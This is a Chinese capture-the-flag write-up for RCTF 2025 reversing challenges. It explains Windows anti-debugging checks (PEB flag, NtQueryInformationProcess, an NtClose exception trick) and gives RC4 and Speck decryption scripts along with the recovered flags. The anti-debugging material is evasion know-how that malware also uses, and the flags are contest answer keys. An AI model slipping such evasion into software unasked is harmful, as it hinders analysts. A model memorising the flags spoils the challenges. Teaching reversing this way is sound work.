ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.data:0040400B db 0FFh.data:0040400C dword_40400C dd 1 ; DATA XREF: sub_40206D+2↑r.data:00404010 dword_404010 dd 1 ; DATA XREF: sub_4022F5+D↑w.data:00404010 ; sub_4022F5:loc_402409↑r ....data:00404014 dword_404014 dd 1 ; DATA XREF: sub_4024C6+2↑r.data:00404018 dword_404018 dd 12345678h ; DATA XREF: .text:00401522↑r.data:0040401C aFlagTh1sflagls db 'flag:{Th1sflaglsG00ds}',0.data:00404033 db 0.data:00404034 db 0.data:00404035 db 0.data:00404036 db 0.data:00404037 db 0.data:00404038 db 0
但不是真正的key。
sub_401440函数:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:00401440 sub_401440 proc near ; CODE XREF: .text:004010F1↑p....text:0040144D push 0 ; lpModuleName = NULL.text:0040144F call ds:GetModuleHandleA.text:00401455 mov [ebp+var_8], eax ; 模块基址.text:00401458 mov [ebp+var_4], 0.text:0040145F jmp short loc_40146A
.text:00401461 loc_401461:.text:00401461 mov eax, [ebp+var_4].text:00401464 add eax, 1.text:00401467 mov [ebp+var_4], eax
.text:0040146A loc_40146A:.text:0040146A cmp [ebp+var_4], 10000h.text:00401471 jnb short loc_4014AA.text:00401473 mov ecx, [ebp+var_8].text:00401476 add ecx, [ebp+var_4].text:00401479 mov edx, [ecx] ; 取一个 dword.text:0040147B mov [ebp+var_C], edx.text:0040147E cmp [ebp+var_C], 12345678h.text:00401485 jnz short loc_4014A8.text:00401487 mov eax, [ebp+var_8].text:0040148A add eax, [ebp+var_4].text:0040148D movsx ecx, byte ptr [eax+4].text:00401491 cmp ecx, 75h ; 'u'.text:00401494 jz short loc_4014A8.text:00401496 mov edx, [ebp+var_4].text:00401499 mov eax, [ebp+var_8].text:0040149C lea ecx, [eax+edx+4].text:004014A0 mov dword_40440C, ecx ; 保存指针.text:004014A6 jmp short loc_4014AA
.text:004014AA loc_4014AA:.text:004014AA mov eax, dword_40440C.text:004014AF mov esp, ebp.text:004014B1 pop ebp.text:004014B2 retn
.text:0040147E cmp [ebp+var_C], 12345678h
所以dword_40440C指向flag:{Th1sflaglsG00ds} 的起始地址。
第一次反调试
loc_4010DA:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:004010DA loc_4010DA:.text:004010DA mov ebx, 22222222h.text:004010DF mov byte ptr [ebp-5], 1.text:004010E3 push eax.text:004010E4 mov eax, large fs:30h ; PEB.text:004010EA mov al, [eax+2] ; BeingDebugged.text:004010ED mov [ebp-5], al.text:004010F0 pop eax.text:004010F1 call sub_401440 ; 设置 dword_40440C.text:004010F6 mov dword_404408, 8.text:00401100 movzx eax, byte ptr [ebp-5].text:00401104 test eax, eax.text:00401106 jz short loc_40110A ; 未调试 -> 改 key.text:00401108 jmp short loc_401119
.text:0040110A loc_40110A:.text:0040110A mov ecx, dword_40440C.text:00401110 add ecx, dword_404408 ; +8.text:00401116 mov byte ptr [ecx], 69h ; 'i'
如果 没有被调试 (BeingDebugged == 0),会跳到 loc_40110A,把 (dword_40440C + 8)改成 i。
初始 key 第 8 个字节是 1,所以这里实际上把 Th1s 改成 This
第二次反调试
这一段在 sub_401130 里,通过 NtQueryInformationProcess(info class = 7)查 debug object handle
loc_40124A:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:0040124A loc_40124A:.text:0040124A mov ebx, 22222222h.text:0040124F call ds:GetCurrentProcess.text:00401255 mov [ebp-10h], eax.text:00401258 push 0.text:0040125A push 4.text:0040125C lea eax, [ebp-8] ; 输出句柄位置.text:0040125F push eax.text:00401260 push 7 ; ProcessInformationClass = 7.text:00401262 mov ecx, [ebp-10h].text:00401265 push ecx ; ProcessHandle.text:00401266 call dword ptr [ebp+8] ; NtQueryInformationProcess.text:00401269 mov dword_404408, 0Eh.text:00401273 cmp dword ptr [ebp-8], 0.text:00401277 jz short loc_40127B ; ==0 则改 key.text:00401279 jmp short loc_40128A
.text:0040127B loc_40127B:.text:0040127B mov edx, dword_40440C.text:00401281 add edx, dword_404408 ; +0x0E.text:00401287 mov byte ptr [edx], 49h ; 'I'
DebugObjectHandle == 0:
就把 *(dword_40440C + 0x0E)改成 I
原始那里是 l,所以 flagls变成flagIs
第三次变换
这一段利用异常处理器修改 key
loc_40130D:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:0040130D loc_40130D:.text:0040130D mov ebx, 22222222h.text:00401312 push offset aNtdllDll_0 ; "Ntdll.dll".text:00401317 call ds:LoadLibraryW.text:0040131D mov [ebp-24h], eax.text:00401320 cmp dword ptr [ebp-24h], 0.text:00401324 jnz short loc_401328.text:00401326 jmp short loc_401383
.text:00401328 loc_401328:.text:00401328 mov dword_404408, 11h.text:00401332 push offset aNtclose ; "NtClose".text:00401337 mov eax, [ebp-24h].text:0040133A push eax.text:0040133B call ds:GetProcAddress ; 取 NtClose 地址到 [ebp-28h].text:00401341 mov [ebp-28h], eax.text:00401344 cmp dword ptr [ebp-28h], 0.text:00401348 jnz short loc_40134C.text:0040134A jmp short loc_401383
.text:0040134C loc_40134C:.text:0040134C mov dword ptr [ebp-4], 0.text:00401353 push 99999999h.text:00401358 call dword ptr [ebp-28h] ; NtClose(0x99999999).text:0040135B mov dword ptr [ebp-4], 0FFFFFFFEh.text:00401362 jmp short loc_401383
NtClose(0x99999999) 正常会触发异常,异常处理函数就是 sub_40136A:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:0040136A sub_40136A proc near ; SEH handler.text:0040136A mov esp, [ebp-18h].text:0040136D mov ecx, dword_40440C.text:00401373 add ecx, dword_404408 ; +0x11.text:00401379 mov byte ptr [ecx], 6Fh ; 'o'.text:0040137C mov dword ptr [ebp-4], 0FFFFFFFEh
SEH handler 执行时把 *(dword_40440C + 0x11) 改为 ‘o’
原本这里是 ‘0’,所以 G00ds 的第一个 0 被改成 ‘o’
第四次反调试
loc_4013EA:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:004013EA loc_4013EA:.text:004013EA mov ebx, 22222222h.text:004013EF call ds:GetCurrentProcess.text:004013F5 mov [ebp-10h], eax.text:004013F8 push 0.text:004013FA push 4.text:004013FC lea eax, [ebp-8].text:004013FF push eax.text:00401400 push 1Fh ; info class = 0x1F (ProcessDebugFlags).text:00401402 mov ecx, [ebp-10h].text:00401405 push ecx.text:00401406 call dword ptr [ebp+8] ; NtQueryInformationProcess.text:00401409 mov dword_404408, 12h.text:00401413 cmp dword ptr [ebp-8], 1.text:00401417 jz short loc_40141B.text:00401419 jmp short loc_40142A
.text:0040141B loc_40141B:.text:0040141B mov edx, dword_40440C.text:00401421 add edx, dword_404408 ; +0x12.text:00401427 mov byte ptr [edx], 6Fh ; 'o'
如果ProcessDebugFlags == 1即未调试,把 *(dword_40440C + 0x12) 改为 ‘o’
所以,G00ds 的第二个 0 也被改成 ‘o’
最终的key:
ounter(lineflag:{ThisflagIsGoods}
RC4部分
初始化:sub_4017D0
ounter(lineounter(lineounter(lineounter(linepush 80h ; key 长度 0x80push [ebp-190h] ; key 指针 = dword_40440Cpush &statecall sub_4017D0
后面补零到0x80字节
sub_4017D0是标准的RC4KSA
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:004017D0 sub_4017D0 proc near....text:004017E4 mov eax, [ebp+arg_0].text:004017E7 mov byte ptr [eax+101h], 0 ; j = 0.text:004017EE mov ecx, [ebp+arg_0].text:004017F1 mov byte ptr [ecx+100h], 0 ; i = 0.text:004017F8 mov [ebp+var_4], 0.text:004017FF jmp short loc_40180A
.text:0040180A loc_40180A: ; 初始化 S[i] = i.text:0040180A cmp [ebp+var_4], 100h.text:00401811 jnb short loc_401820.text:00401813 mov eax, [ebp+arg_0].text:00401816 add eax, [ebp+var_4].text:00401819 mov cl, byte ptr [ebp+var_4].text:0040181C mov [eax], cl...
.text:00401820 loc_401820: ; KSA 主循环.text:00401820 mov [ebp+var_4], 0....text:00401832 loc_401832:.text:00401832 cmp [ebp+var_4], 100h.text:00401839 jnb short loc_40189A.text:0040183B mov eax, [ebp+arg_0].text:0040183E add eax, [ebp+var_4].text:00401841 movzx ecx, byte ptr [eax].text:00401844 mov [ebp+var_10], ecx ; S[i].text:00401847 mov edx, [ebp+arg_4].text:0040184A add edx, [ebp+var_C] ; key[j].text:0040184D movzx eax, byte ptr [edx].text:00401850 add eax, [ebp+var_10].text:00401853 add eax, [ebp+var_8].text:00401856 mov [ebp+var_8], eax ; j += S[i] + key[i%keylen].text:00401859 mov ecx, [ebp+var_8].text:0040185C and ecx, 0FFh.text:00401862 mov [ebp+var_8], ecx ; j &= 0xFF...; 然后交换 S[i], S[j]
sub_4018A0是 PRGA,输出密钥流并 XOR 数据
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:004018A6 mov eax, [ebp+arg_0].text:004018A9 mov [ebp+var_4], eax ; S base.text:004018AC mov ecx, [ebp+arg_0].text:004018AF movzx edx, byte ptr [ecx+100h].text:004018B6 mov [ebp+var_8], edx ; i.text:004018B9 mov eax, [ebp+arg_0].text:004018BC movzx ecx, byte ptr [eax+101h].text:004018C3 mov [ebp+var_C], ecx ; j....text:004018D5 cmp [ebp+var_18], 0.text:004018D9 jz short loc_401955 ; 长度耗尽结束.text:004018DB mov ecx, [ebp+var_8].text:004018DE add ecx, 1.text:004018E1 and ecx, 0FFh.text:004018E7 mov [ebp+var_8], ecx ; i = (i+1)&0xFF.text:004018EA mov edx, [ebp+var_4].text:004018ED add edx, [ebp+var_8].text:004018F0 movzx eax, byte ptr [edx].text:004018F3 mov [ebp+var_10], eax ; S[i].text:004018F6 mov ecx, [ebp+var_C].text:004018F9 add ecx, [ebp+var_10].text:004018FC and ecx, 0FFh.text:00401902 mov [ebp+var_C], ecx ; j = (j+S[i])&0xFF...; 交换 S[i], S[j],然后:.text:00401927 mov edx, [ebp+var_10].text:0040192A add edx, [ebp+var_14].text:0040192D and edx, 0FFh.text:00401933 mov eax, [ebp+var_4].text:00401936 movzx ecx, byte ptr [eax+edx] ; S[(S[i]+S[j])&0xFF].text:0040193A mov edx, [ebp+arg_4].text:0040193D movzx eax, byte ptr [edx].text:00401940 xor eax, ecx ; data ^= K.text:00401942 mov ecx, [ebp+arg_4].text:00401945 mov [ecx], al.text:00401947 mov edx, [ebp+arg_4].text:0040194A add edx, 1.text:0040194D mov [ebp+arg_4], edx ; data++.text:00401950 jmp loc_4018C6 ; 继续下一个字节
最终exp:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linekey_str = b"flag:{ThisflagIsGoods}"KEY_LEN = 0x80key = bytearray(key_str + b"\x00" * (KEY_LEN - len(key_str)))cipher = bytes([ 0x0f, 0x1a, 0x8a, 0x5a, 0x22, 0xab, 0x1e, 0x63, 0x19, 0x5a, 0x87, 0xf2, 0xe6, 0xe9, 0xd7, 0xd1, 0x97, 0xf9, 0xf8, 0x32, 0x5b, 0xde, 0x2d, 0xd6, 0xa3, 0x4f, 0x7e, 0xcb, 0x61, 0xb2, 0x3f, 0xbf, 0xb7, 0x1b, 0x0a, 0x84, 0xb3, 0xb4, 0xde, 0x03, 0x46, 0x7b, 0x83, 0x2a, 0x51, 0x73, 0xe0, 0x7c, 0x93, 0x27, 0x44, 0x9c, 0x56, 0x8f, 0x75, 0xfa, 0xa0, 0x79, 0x26, 0xda, 0x08, 0x01, 0x85, 0x66, 0x7d, 0xbb, 0xee, 0x0f, 0x89, 0x59, 0xd4, 0x5f, 0xac, 0x18, 0xae, 0x0b, 0x4e, 0xf0, 0xb7, 0xdd, 0xdd, 0x55, 0x4b, 0xea, 0x07, 0x92, 0x5c, 0x8a, 0x53, 0xf3, 0xff, 0xf7, 0xa7, 0xdd, 0x2e, 0xe6, 0xed, 0x0f, 0x77, 0x2c, 0x4a, 0x22, 0xf1, 0x36, 0x4f, 0xa7, 0x55, 0x5e, 0x3e, 0x93, 0xa4, 0x34, 0x29, 0x67, 0xfc, 0x23, 0x79, 0x19, 0xd8, 0xc9, 0x2b, 0xcf,])
def rc4_ksa(key_bytes): S = list(range(256)) j = 0 keylen = len(key_bytes) for i in range(256): j = (j + S[i] + key_bytes[i % keylen]) & 0xFF S[i], S[j] = S[j], S[i] return S
def rc4_prga(S, data): i = j = 0 out = bytearray() for b in data: i = (i + 1) & 0xFF j = (j + S[i]) & 0xFF S[i], S[j] = S[j], S[i] k = S[(S[i] + S[j]) & 0xFF] out.append(b ^ k) return bytes(out)
S = rc4_ksa(key)plain = rc4_prga(S, cipher)print(plain)"""b'RCTF{AntiDbg_Reversing_2025_v2.0_Ch4llenge}\xda\x95\xc0K\x07\xba\x9b[b\xdc\xf6S \xa8x\xa3\xbcu\xbaki\xf4\xe2:P%AzT\xe2\xe8\x19\x0e\x12q\xb3ByI\x16J\xbe\x95\xce\xd6\xd9\xa0\x0c\x08Pz\xf3\xc8\x0b\xe2x[fh\xd3\xc7y\xe8\xf2\xb03E\xa0G|9\xc2\xb0\xdd-\xf1\xae\xd7\xec'"""
Onion
vm 套娃
输入一堆数,加密顺序为
简易运算加密
类tea,魔改好多,问ai说是speck
明文加密结果与密文进行校验然后作为key解密下一段vmcode。
循环往复,如此套娃。
思路是,解决第一个数,后面用同样的方法进行能工智人即可,全自动化不会。
解决第一个数
首先是还原指令流,一般两种方法,写代码模拟或者trace打log。
此处使用后者。
然后队友使用强大的钞能力进行了一波ai分析。得到第一层的大体逻辑。
ai分析得到了上面概述说的大体流程,当然也结合了一些经验。
so,第二步,解密第一个数。
解密两步走
- 从log中提取关键值。
- 还原解密代码
第一步,从log中提取关键值。
需要提取的有 简易运算加密的参数,以及speck的参数。
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line00010223 .text:vm_execute+A96 mov rax, [rax+rcx] RAX=48F0E6421AC66DEA 00010223 .text:vm_execute+60B mov rcx, [rsp+rdi*8+328h+s] RCX=48F0E6421AC66DEA 00010223 .text:vm_execute+613 mov rdx, rcx RDX=48F0E6421AC66DEA
key0 = 0x36B1CC9FE433713D 提取于:00010223 .text:vm_execute:loc_55555556BE01 mov rax, [rax+rcx]; opcode 0x18: MOV reg, [BP+addr] - 从内存[BP+offset]加载到寄存器 RAX=36B1CC9FE433713Dkey1 = 0xF97646D69C84EBD8 提取于:00010223 .text:vm_execute:loc_55555556BE01 mov rax, [rax+rcx]; opcode 0x18: MOV reg, [BP+addr] - 从内存[BP+offset]加载到寄存器 RAX=F97646D69C84EBD8
第二步
解密脚本如下
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line#include <stdio.h>#include <stdint.h>
// 32位循环移位uint32_t ror32(uint32_t v, int s) { s &= 31; return (v >> s) | (v << (32 - s)); }uint32_t rol32(uint32_t v, int s) { s &= 31; return (v << s) | (v >> (32 - s)); }
// speck解密uint64_t vm_tea_decrypt(uint64_t input) { uint32_t v0 = input & 0xFFFFFFFF; uint32_t v1 = (input >> 32) & 0xFFFFFFFF; uint32_t keys[27]; uint32_t r2 = 0xE433713D, r3 = 0x36B1CC9F, r4 = 0x9C84EBD8, r5 = 0xF97646D6; for (int i = 0; i < 27; i++) { keys[i] = r2; if (i < 26) { uint32_t t0 = ror32(r3, 8) + r2; t0 ^= i; uint32_t t1 = rol32(r2, 3) ^ t0; r2 = t1; r3 = r4; r4 = r5; r5 = t0; } } for (int i = 26; i >= 0; i--) { v1 ^= v0; v1 = ror32(v1, 3); v0 ^= keys[i]; v0 -= v1; v0 = rol32(v0, 8); } return ((uint64_t)v1 << 32) | v0;}
// reverseuint64_t reverse_xor(uint64_t v) { v ^= 0x8CB331163A92FC19ULL; v += 0x5566488C9C5CF234ULL; v ^= 0x5074D85B9194E696ULL; v += 0x48F0E6421AC66DEAULL; return v;}
int main() { uint64_t target = 0xDA19BA6B81C83F61ULL;
uint64_t after_tea = vm_tea_decrypt(target); printf("TEA dec: 0x%016llx\n", after_tea);
uint64_t result = reverse_xor(after_tea); printf("Result: 0x%016llx (%llu)\n", result, result);
return 0;}
如此,我们就搓出来了。。。第一个数。那么剩下29个怎么办。能工智人,继续搓。
enc: 0xda19ba6b81c83f61 key:0x36b1cc9fe433713d,0xf97646d69c84ebd8
02= a28f38bd0463522c
enc: 0x659391a5dc3522b3 key:0x8d85b3156df9f721,0x28e3d33340bc0884
01= bf11b34d0ce941cc
enc: 0x5538224d4c7a252akey:0x1d1a63b571be74bc,0x3e36eee3aac04cfd
14= ef320f9e6ae31520
enc: 0x9766ec5e9e3303c0key:0x66a2d5250151c6d, 0x6d20bd39b0f2badc
11= 36646367b78c2f91
以下省略
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineba610b6c5d80c91abf11b34d0ce941cca28f38bd0463522c79ed5d84199dd9cb4d9c56b2a1d77a0dfe13c54ceb12fea8494a63fc85b9953aad1f6be84bbb4680cd05f91609d653fa55493aa141fbe86f25bc9aff736b80a8d8817dda43824d2c5fcca9a9cb65130d6f3ed35da24dacfab5e1534e1dc36c87ac1b4e2750778a01c8f82d07316dcd3b36646367b78c2f919eed7637cd5eaa26ff546a0085041459ef320f9e6ae315201e00a4b9e25488f61a9a0626a035fb9de2f1eb0e5248cd2c8a0bf5239eed75c4749e8082db34037df4d25540ed584887c12422512500c8877e1a125dcfa56359497cff13eaa5bf76d51ceddab7795459a922933b0b315a10cabd557ffa1df043e0459b855188d04582700d6f6a986873c01552dff3a12f670615548ece7312fb0e189fa8296579138d4c8f2124957228451572c65bcb3425554fca602792e8794f749f6bbca2014cb1e1adc831c8d5679c73a6d3f711e66e2ab305ec4e07b0b498a16d274bb044d2c409de0e72c1029e5e68e47d3a360a80a1570f48caceb3ddd6ab1c9a18ebb936RCTF{VM_ALU_SMC_RC4_SPECK!_593eb6079d2da6c187ed462b033fee34}
下次碰到套娃题,一定写解释器模拟自动化((
文末:
欢迎师傅们加入我们:
星盟安全团队纳新群1:222328705
星盟安全团队纳新群2:346014666
有兴趣的师傅欢迎一起来讨论!
PS:团队纳新简历投递邮箱:
[email protected]
责任编辑:@Neko205
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:星盟安全 @星盟安全团队《RCTF2025-WP》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论